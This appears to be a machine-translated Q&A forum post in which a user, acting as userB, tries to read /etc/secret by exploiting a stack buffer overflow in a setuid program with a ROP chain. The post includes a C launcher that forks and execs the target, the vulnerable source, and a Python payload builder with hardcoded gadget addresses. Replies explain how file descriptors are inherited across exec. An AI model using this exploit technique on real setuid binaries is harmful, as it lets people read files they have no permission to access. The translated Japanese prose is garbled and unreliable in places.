このプログラムを実行すると、userAが所有し、userAによってのみ読み込まれるように設定された/ etc/secretにファイル記述子が開きます。ユーザーAfork()内のファイル記述子が、setuidビットがセットされたexecveを実行するとき
-r-SR-X-に設定setuidビットのバイナリではexecve介し
プログラムフォーク子秘密
-r -------- 1ユーザーAユーザーA - 1 userA userB prog
progにバッファオーバーフローがあります。スタックは実行不能です。私はread()を呼び出すROPチェーンを書くことができました。読んで私は記述子パラメータが必要です、私は/ etc/secretの記述子にしたいと思います。
/etc/secretディスクリプタが開かれていることを変更できますか?以来、私はuserBと呼んでいるので、今では許可が拒否されています。子はsetuidビットセット(userA)を持つプログラムを実行するので、子実行ステージ内でopenを呼び出す方法がありますか?何か案は?
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int main(void)
{
pid_t pid;
int fd;
int fd1;
fd1 = open("/etc/secret",O_RDONLY); //file I want to read
if (fd1 < 0) {
perror("open");
return EXIT_FAILURE;
}
printf("FD:%d\n",fd1);
fd = open("in.txt", O_RDONLY); //ROP Chain,Payload that makes read()
if (fd < 0) { //I pass the file descriptor as a parameter
//Normally a integer 3
perror("open");
return EXIT_FAILURE;
}
if ((pid = fork()) < 0) {
perror("fork");
return EXIT_FAILURE;
} else if (! pid) { /* child */
dup2(fd, STDIN_FILENO);
close(fd);
execlp("/opt/prog", "prog", (char *)0);
perror("exec");
return EXIT_FAILURE;
} else { /* parent */
printf("Parent waiting\n");
}
return EXIT_SUCCESS;
}
アップデート1:
PROGソースコード:
#include <stdio.h>
void main(){
int buf[8];
read(0, buf, 256);
}
アップデート2:
のROP鎖
#!/usr/bin/env python
import struct
payload = "A" * 24
payload += struct.pack("<Q", 0x00000000004005b6)
payload += "A" * 8
payload += struct.pack("<Q", 0x0)
payload += struct.pack("<Q", 0x1)
payload += struct.pack("<Q", 0x00000000006006c8)
payload += struct.pack("<Q", 0x3) # Value for RDI register
payload += struct.pack("<Q", 0x0000000000600009) # Value for RSI register
payload += struct.pack("<Q", 0x8) # Value for RDX register
payload += struct.pack("<Q", 0x00000000004005a0)
payload += "E"*56
payload += struct.pack("<Q", 0x00000000004003e0)
f = open("in.txt", "w")
f.write(payload)
更新このテストプログラムを作った3
。の/ etc /秘密ユーザAが所有し、ユーザAで読み取り専用に設定されて、私はユーザーBとしてプログラムを実行します。
test.cの
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
int main(void)
{
pid_t pid;
int fd;
int fd1;
fd1 = open("/etc/secret",O_RDONLY); //file I want to read
if (fd1 < 0) {
perror("open");
return EXIT_FAILURE;
}
printf("FD:%d\n",fd1);
}
出力は次のとおりです。
./test オープン:許可が拒否されました
open()はディスクリプタを返す前にファイルのアクセス許可をチェックしていますか?
"rop chain"とは何ですか? –
https://en.wikipedia.org/wiki/Return-oriented_programming –
'/ etc/secret'の' open() '呼び出しに' O_CLOEXEC'を追加していないので、そのファイルは読書適切な場所にファイル記述子を指定するだけで済みます。 'dup2()'(または 'dup()'を使って元のプログラムのファイル記述子3であることを保証することはできますが、それは難しくなります)。古典的なPOSIXシステムでは、それ以上の問題はありません。私は、Linuxがexec'dプロセスで開いているファイル記述子のパーミッションを何らかの形で再確認しないと言っているわけではありませんが、そうすることはまずありません。あなたは 'execvp()'ではなく 'execlp()'を使っています。 –